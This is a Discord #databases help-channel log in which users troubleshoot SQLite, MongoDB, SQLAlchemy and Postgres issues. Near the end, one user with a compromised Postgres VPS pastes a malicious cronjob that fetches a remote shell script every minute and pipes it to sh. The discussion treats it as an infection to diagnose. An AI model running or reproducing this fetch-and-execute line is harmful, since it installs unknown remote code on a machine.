#databases

1 messages · Page 31 of 1

grim vault
#

Ah, yeah, sorry. there is no link between author and topic so that will be the product for each author with each topic of the book. I guess you'll need the subquery.

tulip stump
#

oh yeah yeah, my bad, should have shown all the schemas :P

hazy sun
#

Has anyone worked heavily with analytics storage and knows if there is an inherent gain to swap from MongoDB TimeSeries databases to PostgreSQL TimeSeries to be used as a data warehouse? We currently have everything stored in MongoDB anyway and Postgres isn't the most performant columnar OLAP storage system anyway, so I don't understand why we would bother migrating. Am I missing something here? I am struggling to find enough information to answer my exact questions or misunderstandings I guess. So I was hoping someone may have the information or experience here

coral wasp
#

Trying to stream into a columnar store is not terribly efficient in general, one reason why time series db's even exist. I've heard of good results with timeseriesdb and Postgres, but haven't used it myself.

sweet vector
#

Does sqlite3 support asyncio or do I need an external library for that? If I do need a library, which ones do you recommend?

waxen finch
#

in other cases where the database can be locked for long periods of time (from other concurrent connections), or where queries are complex to execute, sqlite3 would block until the query can be completed

#

imo i think asqlite has nicer defaults but aiosqlite is more widely known and also supported by sqlalchemy, if you plan on using an ORM

sweet vector
#

In that case me using asyncio would be more a case of dogmatic "all I/O operations are async" than actual need?

waxen finch
#

its very dependent on how connections will be interacting with the db

sweet vector
#

I do plan on using an ORM later, but I want to make absolutely sure I have a good handle on sql first. Never know when I'll need to use MyBatis and SpringBoot again...

#

I guess it really comes down to reminding myself: YAGNI applies to scaling too.

waxen finch
#

for example, sqlite locks aren't sophisticated enough to handle more than one concurrent writer, so just one connection that takes a while to commit some insert/update/delete query would keep the database locked

sweet vector
#

Transactions to sqlite dbs shouldn't take too long, though, and the bottlenecks will probably be network-based anyway. It isn't as if I am spinning up a container just for sqlite or anything.

#

Am I understanding correctly?

waxen finch
#

yeah, if you're diligent about keeping transactions short

sweet vector
#

adds to Read Later storage.

waxen finch
#

feel free to look at the source code too, internally they both proxy sqlite3 calls to a worker thread

noble elk
#

How do i call a database in an if statement

#

like

#

If username in Database:
print("Success")

hasty meteor
#

does anybody here do t levels course
cus i really need help asap
and the esp is soo close
starts tommorow

fading patrol
fading patrol
river linden
#
header = {"Accept": "application/json", "apiKey": api_key}

data = {"dataSource": "Cluster0", "database": "CrownStudios", "collection": "BANS", "filter": {"text": "These are the stored banned ids for Low Poly FPS!"}, "update": {"$pull": {"bans": {1425085558}}}}




r = requests.post(data_api, json=data, headers=header)


print(r.json())

Whenever i used $pullAll, my code worked, but had no effect (1425085558 wasnt deleted from the array "bans") When i use $pull, it gives me this error

    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type set is not JSON serializable

But i never specified any set?

river linden
paper flower
#

Also it's not really related to databases pithink

river linden
paper flower
#

Or at least tell what api you're using

river linden
#

MongoDB's Data API

paper flower
#

Why don't you use mongodb adapter/library?

shut tiger
neat tulip
#

Hello everyone, what will be the best way to connect to mongoDB using pymongo if i have multi database structure for my project, like based on incoming request i have to choose which database to connect to. do i need to handle when to disconnect the previous connection anywhere?

brave tundra
#

I saw a lot of sqlite in this channel so I thought is mssql or any other database better? Or which one would you recommend?

thorny anchor
#

sqlite is pretty decent usually. but it doesn't scale as well as mariadb or postgres for example

waxen finch
#

in short, if it requires network access (client/server), high concurrency, or really big data, you'd want something different

shut tiger
neat tulip
# shut tiger That sounds like a very bad idea. Why would you do that?

i am very new to mongoDB so there might be issues with how i design my DB. So any help would be appreciated. here is basic over view of how my web app will be.
there will be different major org that will sign up, then different data will be stored in different collections, each org will have same type of fields but with different value. so i thought it will be better to store them in different DB. each org will have different DB in mongodb. so in every request i have a parameter that will define which org's db to connect.

so will it be better to store all of the data to one DB and differentiate org by unique value in collection's document?

shut tiger
neat tulip
shut tiger
neat tulip
#

got it!

brave tundra
#

why doesn't this line insert into database? And I've checked tuple match_ups have values

#

here's my table

waxen finch
brave tundra
#

yea it's sqlite3 and I did commit after the insert

#

assuming this is correct

waxen finch
#

hmm, what rows are already in the matches table? is there one with the same pair of players?

brave tundra
#

just the columns match_no is in

#

I don't think so, here's my tuple

waxen finch
#

that seems fine, but im not sure about "just the columns match_no is in"

#

like you have player tuples already inserted but match_no is null for all of them?

brave tundra
waxen finch
#

ah, can you paste that line here?

#

!code

delicate fieldBOT
#
Formatting code on Discord

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

For long code samples, you can use our pastebin.

brave tundra
#
    cur.execute("delete from matches")
    for i in range (player_count()-1):
        data_results = [i+1]
        data_matches = [i+1]
        cur.execute("insert or ignore into results (match_no) values(?)", data_results)
        cur.execute("insert or ignore into matches (match_no) values(?)", data_matches)```
#

that's my whole def

waxen finch
#

hmm, that seems like an odd query to do

brave tundra
#

it's basically like this right now

#

should I perhaps just combine the 2 functions?

waxen finch
#

to double check, what is the schema for your table? im assuming it's something like: sql CREATE TABLE matches ( match_no, player_1, player_2, PRIMARY KEY (player_1, player_2) );

brave tundra
#

player_1 and player_2 are both foreign keys

waxen finch
brave tundra
#

alright thanks

#

I'll try and tweak it

waxen finch
waxen finch
# waxen finch probably, doing two INSERT queries is meant to result in two separate rows rathe...

for clarification, this is what happens when the inserts are separate: sql sqlite> CREATE TABLE matches (match_no, player_1, player_2); sqlite> INSERT INTO matches (match_no) VALUES (1); sqlite> INSERT INTO matches (player_1, player_2) VALUES (1, 16); sqlite> SELECT * FROM matches; ┌──────────┬──────────┬──────────┐ │ match_no │ player_1 │ player_2 │ ├──────────┼──────────┼──────────┤ │ 1 │ NULL │ NULL │ │ NULL │ 1 │ 16 │ └──────────┴──────────┴──────────┘

brave tundra
#

Ohhhh

#

I should have updated it if I wanted to do it like that?

waxen finch
#

mhm

brave tundra
#

ohh thanks

#

I got it just by using values(?,?,?) at the end

obtuse saddle
#

Is there any good platform that is fairly cheap monthly as a service that help visualize a database or any public repository doing something similar, I'd like to be able to edit database via a frontend application

fading patrol
shut tiger
pallid heron
#

I recently got into sqlalchemy coming from django, and I must say I'm still confused as to whether or not use the sessionobject with .add(), .delete() and .update(), or instead just opt for the insert(), update(), delete() from the core.

What are your experiences? It seems like in sqlalchemy 2.0 select() is used regardless.
But for create/update/delete-endpoints I struggle to decide what to use.

wise wind
somber ember
#

me during data engineer interview: spark transformation? catalyst optimizer? yeah I know what they mean!

me after 1 year as data engineer: holy fck this means that? oh no that did not mean this? but wait that didn't work like....oh no.

good god this hits like a truck

cloud junco
#

Is this a place I can ask about web scraping (ethical)

kindred hawk
#

I'm new to aiosqlite recently shifted from SQLite3, is it right to connect db in every command because SQLite3 allowed only one connection

    @commands.command()
    @commands.guild_only()
    async def addtag(self, ctx, tag_name, *, tag_text):
        tagdb = await aiosqlite.connect("tagData.db")
        await tagdb.execute("INSERT OR ROLLBACK INTO taggingData (guild_id, user_added, tag_name, tag_text) VALUES (?,?,?,?)", (ctx.guild.id, ctx.author.id, tag_name, tag_text))
        await tagdb.commit()
        embed=discord.Embed(title=".addtag", color=0x000000)
        embed.add_field(name="Status:", value="Added", inline=False)
        embed.add_field(name="Name:", value=tag_name, inline=False)
        embed.add_field(name="Text:", value=tag_text, inline=False)
        await ctx.send(embed=embed)

    @commands.command()
    @commands.guild_only()
    async def tag(self, ctx, tag_name):
        tagdb = await aiosqlite.connect("tagData.db")

        async with tagdb.execute("SELECT user_added, tag_text FROM taggingData WHERE guild_id = ? AND tag_name = ?", (ctx.guild.id, tag_name)) as cursor:
            async for tagvar in cursor:
                user_added, tag_text = tagvar
                user_name = ctx.guild.get_member(user_added)

            embed=discord.Embed(title=f".tag {tag_name}", description="", color=0x000000)
            embed.add_field(name="Text:", value=tag_text, inline=False)
            embed.add_field(name="Added:", value=user_name.mention, inline=False)
            await ctx.send(embed=embed)
pallid heron
trail current
#

Using sqlite3, Python 3.11.5, Windows Server 2022.

        try:
            with sqlite3.connect(DATABASE_PATH) as conn:
                cur = conn.cursor()

                cur.execute("SELECT * FROM user_data WHERE discord_id = ?", (user_id,))
                if cur.fetchone() is None:
                    cur.execute("INSERT INTO user_data (discord_id) VALUES (?)", (user_id,))

                cur.execute("UPDATE user_data SET game_name = ?, whitelisted = 1 WHERE discord_id = ?", (gamertag, user_id))
                conn.commit()

            await ctx.send(f'Whitelist request approved for {user_id}.')
        except sqlite3.Error as e:
            await ctx.send(f'Database error: {e}')

Keep getting this error exactly: Database error: unable to open database file. Unsure as to what the cause of this is.

fading patrol
trail current
fading patrol
trail current
waxen finch
waxen finch
# kindred hawk I'm new to aiosqlite recently shifted from SQLite3, is it right to connect db in...

yes, the advantage of multiple connections is being able to process multiple transactions concurrently, versus one connection which can't be concurrently used with more than one transaction (if you don't put a lock around your connection, two commands might attempt to perform queries in the same transaction which effectively breaks atomicity/isolation of transactions for your app)

technically you can use multiple connections with sqlite3 too, but since asyncio is single-threaded, it's easier to accidentally cause deadlocks/connection timeouts without a wrapper like aiosqlite to make it asynchronous

sidenote, you should use a context manager to close your connection properly: py async with aiosqlite.connect(...) as conn: ...

waxen finch
trail current
#

I am using an absolute path though so I don't understand why it isn't finding it or doesn't have access.

waxen finch
#

are you running your bot from the same user account? if so, are you able to access Server/The-MP/ without any permission issues?

#

well ig if you know that the file definitely exists then your user account prob has the permissions as normal

#

so just the first question then

trail current
#

Yes, it is created and there, more so I opened it up and it is good.

waxen finch
#

how are you running your bot?

trail current
#

Through command prompt.

waxen finch
#

ok, should be same user then...

trail current
#

Tried both in Administrator mode and not in Administrator mode.

trail current
waxen finch
#

definitely no typos?

trail current
#

It is having the same error in there as the one in my cogs.

#

I AM AN IDIOT

#

I PUT A DASH in the name of TheMP skull

waxen finch
#

🙃

trail current
# waxen finch 🙃

Thank you for asking me that question though as that is what made me double check the path 🤣

shut tiger
polar rune
shut tiger
polar rune
abstract ruin
#

anyone familiar with regression models?

coral wasp
abstract ruin
#

sorry

green mortar
#

any good IDE for SQL?

west hill
green mortar
west hill
#

yep thats pretty nice too

green mortar
#

okay thanks

fading patrol
# green mortar any good IDE for SQL?

DBeaver is a popular and free option. The interface is a bit ugly but it's pretty feature rich and supports a wide range of DB engines

If you don't need all those special DB features though, any IDE will do

wise goblet
#

except it is not able to hand postgresql db with 1000+ schemas... may be Dbeaver can actually

#

i use in those cases the native PgAdmin

high fjord
#

if i have a column for storing yes/no status in sql, which one should i use?

  • Yes, No
  • YES, NO
  • 1, 0
  • Y, N
hexed estuary
#

and postgresql has more.

warped turtle
#

Can someone help me figure out why this SQL query isn't working properly?
query = "SELECT * FROM events WHERE playerone_steamid = :steamid OR playertwo_steamid = :steamid AND date = '%:date%'"

#

specifically the "date" part

waxen finch
# warped turtle specifically the "date" part

placeholders in strings arent considered placeholders so perhaps you want to || concatenate the percent characters onto it instead: sql '%' || :date || '%' but that seems like an odd thing to do for a plain = equality check on a date...

warped turtle
#

Should I change the "date = " to be "date LIKE"?

waxen finch
#

it feels like parsing the datetime out of the string would be a more reliable choice... but i guess thats fine

warped turtle
#

I need the full datetime

#

Im using the full timestamp as a way to determine if an entry is already in my database.

waxen finch
#

is this for an sqlite database? i wonder if LIKE matching can use indexes for matching prefixes...

warped turtle
#

as there shouldnt be any entries with the exact same timestamp

warped turtle
#

This is what my entries look like

#

I also figured out my issue lol. My numbers didnt have a 0 at the start if it was less than 10

#

but i also adjusted to what you suggested

waxen finch
warped turtle
#

I thought it'd work a lot like an IF statement in python?
Where it'd check if playerone_steamid or playertwo_steamid is equal to what I asked and the date for either one was equal to what I submitted

waxen finch
#

the operator precedence matches python too

warped turtle
#

Coz in this function, the steamid i am submitting could be in either column

#

Would this be better then?

query = "SELECT * FROM events WHERE date LIKE '%' || :date || '%' AND (playerone_steamid = :steamid OR playertwo_steamid = :steamid)"
```?
waxen finch
delicate fieldBOT
#

@waxen finch :white_check_mark: Your 3.12 eval job has completed with return code 0.

True
warped turtle
#

Alright. Sweet. Learnt something new, both in pytho and sql :D

#

<Final Fantasy Victory Music Plays>

waxen finch
# waxen finch is this for an sqlite database? i wonder if LIKE matching can use indexes for ma...

hmm, there is a documented optimization for LIKE:
https://sqlite.org/optoverview.html#the_like_optimization

im not sure i understand what it's saying, but presumably if the schema looked like: sql CREATE TABLE mytable ( ..., date TEXT ); CREATE INDEX ix_mytable_date ON mytable (date); then sqlite could perform an optimized range scan for certain patterns where only a prefix is needed to match, for example to list all rows from a particular day: sql SELECT * FROM mytable WHERE date LIKE '[2024.05.10%';

idle ferry
grim vault
#

Isn't mysql using %s instead of ? for the parameter binding? Any error?

idle ferry
grim vault
#

Which module do you use for the database?. It should be in the description/example code.

shut tiger
idle ferry
#

i tried both %s and ? and no difference

shut tiger
#
insert_into_table = ("INSERT NOPE THIS WILL NOT WORK INTO ai_messages (
#

like that.

grim vault
#

Just for completeness: the mariadb module uses ? for binding parameters by default but also supports %s to be mysql compatible.

torn sphinx
#

hey guys, btw, I need a guest writer for my article where I share things like cybersecurity/coding/ML&AI, please dm if interested.

odd cloak
tidal mica
#

Are there any other sql functions, besides newid() that can be used as a seed for rand() to get a new random value for each row?

#

Row_number for example?

fading patrol
shrewd timber
#

Hello guys 👋🏻 ,
could someone please help me with the Backtesting.py libary and
it´s data processing. I tried to do it myself but i failed a lot, it always has the same error. Please Dm me if you could help me further.

old marten
#

hey, ive recently gotten back into coding and im working on sqlite3 databases. is there a way to check if a row exists in a database and if it does return true/false or 1/0 or anything like that? i cant find anything online so would appreciate the help

#

im aware this is prob super simple but yeah

halcyon swift
#

having 2 tables like this, say a room has been booked for 25-28 may and i wanted to boook for 21 (today) - 26 may. How can the database know that the room has been booked for my date range even though its technically still available for today?

storm mauve
normal hornet
#

Hey anyone know anything about PHP unit testing?

#

I need some help

fading patrol
fallen vault
#

What are the drawbacks (if any) of hosting a SQLite3 database on a shared local network?

ionic pecan
#

how would you "host" it? it does not include a server

#

sqlite doesnt really have built-in access control like e.g. postgresql has, and databases like postgres are built for multiple users to use them at the same time

fallen vault
#

I believe you can point to files directly on a shared drive. It's been a while since I had to work with one.

ionic pecan
#

https://www.sqlite.org/faq.html#q5

SQLite uses reader/writer locks to control access to the database. (...) But use caution: this locking mechanism might not work correctly if the database file is kept on an NFS filesystem. This is because fcntl() file locking is broken on many NFS implementations. You should avoid putting SQLite database files on NFS if multiple processes might try to access the file at the same time.

fallen vault
#

Alright, thank you.

junior bison
#

Hello, if anyone is active

#

as of right now, I am trying to connect to MEGA through the python mega.py API

#

However, I am running this script through java

#

Here is my error:

File created: UnitledFile.txt
Traceback (most recent call last):
File "C:\Users\Family\Desktop\OpenLibrary\MegaUpload.py", line 1, in <module>
mega = Mega()
^^^^
NameError: name 'Mega' is not defined
Python script executed successfully

fading patrol
fading patrol
junior bison
#

it was always my code

#

lol

tender coral
#

Hi,

#

I have a postgresql 14 database on a vps (Ubuntu 22) and I constantly run into the problem that it sometimes just stops working

then I have to run the following command sudo systemctl restart postgresql.service
and then my db starts working again

now recently it happened again

but after running sudo systemctl restart postgresql.service
all my tables just dissappeared

anyone an idea what could cause smth like this?

#

This is the journalctl

#

It crashed while doing queries shown in the following code

#
    pol_scraper = PolygonScraper()

    conn = pg.connect(
        "dbname=postgres user=postgres password=mypw host=myhost port=5432"
    )
    cur = conn.cursor()
    max_block = pol_scraper.web3.eth.block_number
    # max_block = 57063842
    for i, ((block, transaction_hash), transfer) in tqdm(enumerate(pol_scraper.get_all_data(0, max_block))):
        # print(block)
        # print(transfer['value'])
        try:
            cur.execute(
                """
                INSERT INTO polymarket_transfers (type, token_address, sender, receiver, token_id, transfer_event, value, transaction_hash, block_number)
                VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) ON CONFLICT DO NOTHING""",
                (
                    transfer['type'],
                    transfer['token_address'],
                    transfer['from'],
                    transfer['to'],
                    transfer['token_id'],
                    transfer['transfer_event'],
                    transfer['value'],
                    transaction_hash,
                    block
                ),
            )
            conn.commit()
            if i % 5000 == 0:
                print(f"Last trade: {transaction_hash}, {block}")

        except Exception as e:
            print(e)
            print(transaction_hash)
            print(transfer)
trail current
#

Purely out of curiousity: I am currently using sqlite3 for one of my applications, would it be quicker by any amount if I took all data from a column, converted it to a .txt/.xml/.json or, stored all of the data and stored it in a variable and make checks against the data that way?

storm mauve
#

usually doing operations against data in memory is faster than against data in disk

as far as speed goes, it depends on which operations you're doing.

Reading the entire data and turning it into a dictionary? JSON may be faster if it is already formatted how you want it

Calculating an aggregation over an entire column, or finding something in a huge table that has an index? Databases should be way faster

woven talon
#

Hi, does anybody here have experience with sqlalchemy and azure app service(first time for me) and setting up a db connection? Can't get it to work and its frustrating hah

sqlalchemy.exc.OperationalError: (pyodbc.OperationalError) ('HYT00', '[HYT00] [Microsoft][ODBC Driver 17 for SQL Server]Login timeout expired (0) (SQLDriverConnect)')

This is the error in my log file but I have everything setup correctly afaik

Anyone any ideas?

woven talon
# wise wind What does the config look like?

import logging
import os

from dotenv import load_dotenv
from sqlalchemy import MetaData, create_engine, URL
from sqlalchemy.orm import sessionmaker

# Load environment variables
load_dotenv()

# set up logging
logging.basicConfig(level=logging.INFO)

# Database url
url_object = URL.create(
    "mssql+pyodbc",
    username=os.environ.get("UID"),
    password=os.environ.get("PWD"),
    host=os.environ.get("HOST"),
    port=os.environ.get("PORT"),
    database=os.environ.get("DATABASE"),
    query={
        "driver": "ODBC Driver 17 for SQL Server",
        "Encrypt": "yes",
        "TrustServerCertificate": "no",
        "Connection Timeout": "60"  
    }
)

try:
    engine = create_engine(url_object)  # connection with database
    logging.info("Connected to the database")
except Exception as e:
    logging.error("Could not connect to the database")
    logging.error(e)
    raise

#

It works locally

wise wind
woven talon
#

nop

#

The weird thing is

#

That it connected with the db

#

But then gives that error

wise wind
woven talon
#

And I use the same credentials...

wise wind
woven talon
#

That the connection locally works with the sql server

#

By starting up the back-end server

#

fastapi/uvicorn

shut tiger
torn sphinx
#

hey, I am terrible at SQL, need to get good. Can I have you best advice please?

torn sphinx
#

thank you

wise wind
#

no problem

carmine crow
#

I want to webscrape IMDB top 1000 movie subtitles to classify them using NLP. Any suggestions as to how to proceed. There are permissions issues I am running into. I'd also be ok with using a dump of these files. Thank you.

finite jetty
#

hey guys! quick question i have been using pandas in my project, where i fetch data from an api every x time, save it and manipulate it. recently just got interested in sql and i think it will be better for me to use sqllite instead of pandas, if anybody has advice in this topic will be much appreciated

fading patrol
finite jetty
#

So i can manipulate the same db with both. Good to know thanks

sick bridge
#

I'm trying to learn numpy, anybody know any good tutorials out there to learn from?

delicate fieldBOT
#

:incoming_envelope: :ok_hand: applied timeout to @fiery rivet until <t:1716752044:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

gritty vector
#

someone teach this man about f strings 😭

grim vault
gritty vector
shut tiger
#

String formatting in SQL gives me the creeps

half snow
#

As I am new here, I'm a bit lost. I'm one of the developers of a "new" database and we would like to get feedback from Python developers without spamming you. However, I did not find a good channel for that (like e.g. "show your work")... Is there a appropriate way?

shut tiger
#

I mean.. I think it's fine to post it with that kind of sentiment.

half snow
shut tiger
half snow
#

😂 Noted, passing on that feedback...

shut tiger
half snow
torn sphinx
#

guys

delicate fieldBOT
#

:incoming_envelope: :ok_hand: applied timeout to @civic topaz until <t:1716926662:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

west hill
thin nest
half snow
# west hill for defining an entity maybe more of a syntax closer to data classes where we wo...

Thanks for the feedback! Closer to data classes was also on our wish list, but we where lacking "nice decorators" for attributes. Not sure we came across Annotated yet. The thing is that ObjectBox has more types internally, so an int could be in the Int8-Int64 range. How would you model number: Int32 instead? number: Annotated[int, Bits(32)] would be an option, but it feels rather long-winded?

west hill
#

u could override __class_getitem__

#

to add some implementation specific validation

half snow
west hill
#

a quick example btw could be something like this

if typing.TYPE_CHECKING:
    from typing import Annotated as IntRange
else:
    class IntRange:
        def __init__(self, annotation, lower_bound, upper_bound):
              ...
        def __class_getitem__(cls, obj):
             # perform parsing and validation here and return a class instance
            return cls(*obj)

now internally u can convert this intrange to ur wrappers like int32 64 128 etc

#
number: IntRange[int, ..., 32]

when its not in run time it would just be annotated from typing
and when its running the if condition would be false and it would be IntRange wrapper class containing relevant metadata

#

which u could use in ur entity decorator to process

robust grotto
#

Hi, I have a question about suitable use cases of JSON column type , similar to this reddit thread .

For example , in an e-commerce application :

  • I need to store a list of emails and phone numbers (nation code and numbers) for an client's order to a relational database
  • the emails and phone numbers are not the key or index for every query in the app
  • the emails and phone numbers (for each order) are read at low frequency
    • e.g. once every few days
  • the application has permission model which constraints maximum number of emails for each client's order,
    • e.g. at most 3 emails and 2 phone numbers when client creates a new order.

Does JSON column type make sense in such case ?
appreciate any feedback , thanks.

half snow
half snow
robust grotto
# half snow Feels like a shortcut? How will this age; e.g. do you know that an index is neve...

Feels like a shortcut?
yes , my question is about Relational (SQL) database .

Typical database schema design is to create one table for basic info (e.g. customer name, total price) , separate tables for order lines and contact emails ...etc. , and then link them by setting up referential keys .
But I was thinking whether it is appropriate to design with a single column that persists structured data (in my case, it is JSON value in emails field containing all emails related to an order) .

do you know that an index is never needed in the future?
yes, the index on the email field is never needed

And which DB are we talking about?
Relational (SQL) database like MariaDB or PostgreSQL

half snow
west hill
delicate fieldBOT
#

:incoming_envelope: :ok_hand: applied timeout to @manic star until <t:1716992616:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

robust grotto
thorny anchor
wise wind
#
    sent_friends = relationship('Friends', foreign_keys='Friends.sender', back_populates='sender_user')
    received_friends = relationship('Friends', foreign_keys='Friends.receiver', back_populates='receiver_user')
    sender_friends: AssociationProxy[List["Users"]] = association_proxy('received_friends','sender_user')
    receiver_friends: AssociationProxy[List["Users"]] = association_proxy('sent_friends', 'receiver_user')```
#

I'm using an association proxy and would like to know how to load the sender_friends and receiver_friends proxy relationship.

raw reef
#

hey this is probably a dumb question but i haven't found an answer yet is there a way to add the table you want to use in sqlalchemy's create_engine or just into the db url?

fading patrol
wise wind
#
user = await db.execute(
        select(Users).options(selectinload(Users.sender_friends), selectinload(Users.receiver_friends),
                              selectinload(Users.dms))
        .filter(Users.username == current_user_username))
#
    sender_friends: AssociationProxy[List["Users"]] = association_proxy('received_friends','sender_user')
    receiver_friends: AssociationProxy[List["Users"]] = association_proxy('sent_friends', 'receiver_user')```
#

sqlalchemy.exc.ArgumentError: expected ORM mapped attribute for loader strategy argument

#

Why am I getting this error when loading an association proxy?

twilit fern
#

Assign an index to your data: eg:
subjects = {"Alice": 0, "Bob": 1}
predicates = {"knows": 0, "works_at": 1, "lives_in": 2}
objects = {"Bob": 0, "CompanyX": 1, "CityY": 2}
Convert to vectors:
triples = [
(subjects["Alice"], predicates["knows"], objects["Bob"]),
(subjects["Bob"], predicates["works_at"], objects["CompanyX"]),
(subjects["Alice"], predicates["lives_in"], objects["CityY"])
]

Create training dataset:
import numpy as np

def one_hot_encode(index, size):
vec = np.zeros(size)
vec[index] = 1
return vec

num_subjects = len(subjects)
num_predicates = len(predicates)
num_objects = len(objects)

X = []
for (s, p, o) in triples:
s_vec = one_hot_encode(s, num_subjects)
p_vec = one_hot_encode(p, num_predicates)
o_vec = one_hot_encode(o, num_objects)
X.append(np.concatenate([s_vec, p_vec, o_vec]))

X = np.array(X)

#

the dude who gave me this assignment said this might help to make the triple database useable

#

he told me to use the rephraser library and idek whats that

fiery bloom
#

Hey guys,
Is there any way to export dataframe to excel faster like within 5 mins
I have tried to export data of 1000000 from dataframe to excel using to_excel along with the engine xlsxwriter it takes around more than 10 mins unlike CSV it export within a min
Is there any way to export with in a 10
Using threading or any memory
Any suggestions if you have

shut tiger
fiery bloom
shut tiger
fiery bloom
shut tiger
#

If your data grows beyond the limit that plainly will not work.

languid skiff
#

Hi Guys

#

I wondered if someone might be able to help

#

I am getting an error when trying to load a bing maps API on SQL reporting online however when I do this the map does not fully load. the error is being displayed when viewing the report on our report site Local Customer Mapping - SQL Server 2019 Reporting Services, The error is the request was aborted could not create SSL/TLS Secure Channel

shut tiger
shut tiger
#

Yea I don't understand that, but at least someone who knows some SQLAlchemy maybe can help now. The error message is pretty bad I must say.

wise wind
#

Yeah it's a disgusting error.

wise wind
#

After trying to configure relationships in sqlalchemy, I really don't see a reason to use one if I can just query the relationships using joins.

shut tiger
#

Heh. Another glowing review of the ease of use of sqlalchemy 🤣

bright echo
#

i recently installed postgres and went thru a guide on how to get templet1 set up. I cant seem to login to the postgres user even though i set it to something super simple

delicate fieldBOT
#

:incoming_envelope: :ok_hand: applied timeout to @torn sphinx until <t:1717224649:f> (10 minutes) (reason: duplicates spam - sent 5 duplicate messages).

The <@&831776746206265384> have been alerted for review.

paper flower
wise wind
#

I ended up not needing an association proxy but a chain of loaders.

sharp radish
#

Hello, I have a problem that I've had for a very long time in my Discord bot in Python 3.11. Basically I have a Discord bot command that allows me to get data, everything works fine but after a few hours it disconnects from the database, I think I've coded everything correctly so that the cursor closes properly and there is a single connection for the whole Discord bot.

I don't have this problem in my infrastructure with other languages, it's specific to the bot.

What's the problem in my code? I'm using a MariaDb 8.0 database with the latest version of mysql.connector.

Thanks in advance for your help!

    _connection = None

    @classmethod
    def connect(cls):
        if cls._connection is None:
            cls._connection = mysql.connector.connect(
                host=sql_ip,
                user=sql_Username,
                password=sql_mdp,
                database=sql_nom
            )

    @classmethod
    def disconnect(cls):
        if cls._connection is not None:
            cls._connection.close()
            cls._connection = None

    @classmethod
    def get_connection(cls) -> mysql.connector.connection:
        cls.connect()
        return cls._connection```
#

    async def discord_linked_from_id(self, discordId) -> dict:
        cur = Database.get_connection().cursor(dictionary=True)
        try:
            Database.get_connection().commit()
            cur.execute("SELECT status, playername, uuid FROM player WHERE discordid = %s LIMIT 1", (discordId,))

            data = cur.fetchall()

            cur.close()
            if data:
                return data[0]
            else:
                return False

        except:
            cur.close()
            return False```
wise wind
sharp radish
wise wind
wise wind
sharp radish
#

Yes I had done it before in this code it is not there but I had no error, I say it all works just it does not respond a few hours later and I have this problem that on this bot

#

@wise wind

#

Is there anything wrong with my request? Surely the problem is with the User class, not the connection?

wise wind
sharp radish
#

Well, I don't know about the cursor of the request?

wise wind
#

which could have the potential error

sharp radish
#

Ok wait

#

    async def discord_linked(self, minecraftName) -> bool:
        cur = Database.get_connection().cursor(dictionary=True)
        try:
            Database.get_connection().commit()
            cur.execute("SELECT discordid, status FROM player WHERE playername = %s LIMIT 1", (minecraftName,))

            data = cur.fetchall()

            cur.close()
            if data:
                return data[0]
            else:
                return False

        except:
            cur.close()
            return False


    async def minecraftName_to_uuid(self, minecraftName) -> str:
        cur = Database.get_connection().cursor(dictionary=True)
        try:
            Database.get_connection().commit()
            cur.execute("SELECT uuid FROM player WHERE playername = %s LIMIT 1", (minecraftName,))

            data = cur.fetchall()

            cur.close()
            if data:
                return data[0]
            else:
                return False

        except:
            cur.close()
            return False
            

    async def bedwars_data(self, minecraftName) -> dict:
        cur = Database.get_connection().cursor(dictionary=True)
        try:
            Database.get_connection().commit()
            cur.execute("SELECT * FROM bedwars WHERE playername = %s LIMIT 1", (minecraftName,))

            data = cur.fetchall()

            cur.close()
            if data:
                return data[0]
            else:
                return False

        except:
            cur.close()
            return False
#

The rest of the codr

wise wind
wise wind
#
except Exception as e:
  print(e)```
#

for example

sharp radish
wise wind
sharp radish
#

I have brother send me this code

#
class Database:
    _connection = None

    @classmethod
    def connect(cls):
        if cls._connection is None or not cls._connection.is_connected():
            try:
                cls._connection = mysql.connector.connect(
                    host=sql_ip,
                    user=sql_Username,
                    password=sql_mdp,
                    database=sql_nom
                )
            except Error as e:
                logging.error(f"Error while connecting to MySQL: {e}")
                cls._connection = None
        return cls._connection

    @classmethod
    def disconnect(cls):
        if cls._connection is not None and cls._connection.is_connected():
            cls._connection.close()
            cls._connection = None

    @classmethod
    def get_connection(cls):
        return cls.connect()
#
class User:

    async def discord_linked_from_id(self, discordId) -> dict:
        conn = Database.get_connection()
        if conn is None:
            logging.error("Failed to get database connection")
            return False
        
        cur = conn.cursor(dictionary=True)
        try:
            cur.execute("SELECT status, playername, uuid FROM player WHERE discordid = %s LIMIT 1", (discordId,))
            data = cur.fetchone()
            cur.close()
            return data if data else False
        except Error as e:
            logging.error(f"Error while executing query: {e}")
            cur.close()
            return False
shut tiger
sharp radish
#

K

serene plinth
#

i have query about security rules, like if i am applying validation in security rules then what should i write in middlewares?
anyone help?

stiff radish
#

So how do you properly model a composite primary key and foreign key with SQLalchemy without running into ambiguous relationship error. Are there any examples?

ashen wave
#

hi guys

#

idk if anyone else has posted this yet. but its a hacky solution I came up with great

#

using sql alchemy with sqlite you can't use arrays by default

#

you can however convert a json array to a string and just store that

#

😛

tender coral
#

Hi guys, I have a weird issue with postgres, where after a while of running it starts to use up all my cpu power on my ubuntu 22 machine

#

anyone an idea what could cause this?

waxen finch
tender coral
#

I highly doubt this

#

I have had this issue for a long time

#

And I have reset my VPS multiple times because of it

#

Also how are you supposed to run malware on a database @waxen finch

#

I am also encountering these logs

thorny anchor
waxen finch
tender coral
#

But does this mean someone guessed my pw to my VPS?

#

Or is it only my db?

#

I did not get any output from these commands

#

in my cronjobs I did find the following cronjob tho:

* * * * * wget -q -O - http://185.122.204.197/pg.sh | sh > /dev/null 2>&1

#

Idk if this is normal?

#

I dont know that ip address

#

@waxen finch @thorny anchor

thorny anchor
gritty vector
#

yo guys, I made a new table in my database, but I cant seem to find the table even though pythonkeeps telling me the table already exists

#

im using pycharm community, and they recommended some extension to view diff tables

waxen finch
gritty vector
#

the refresh button only works for updating that specific table, but if you made another table, you need to close and reopen the tab basically

waxen finch
#

huh, that seems a bit awkward for a refresh button

gritty vector
waxen finch
gritty vector
#

IT LOOKS LIKE THIS

#

OOP CAPS

#

a

waxen finch
#

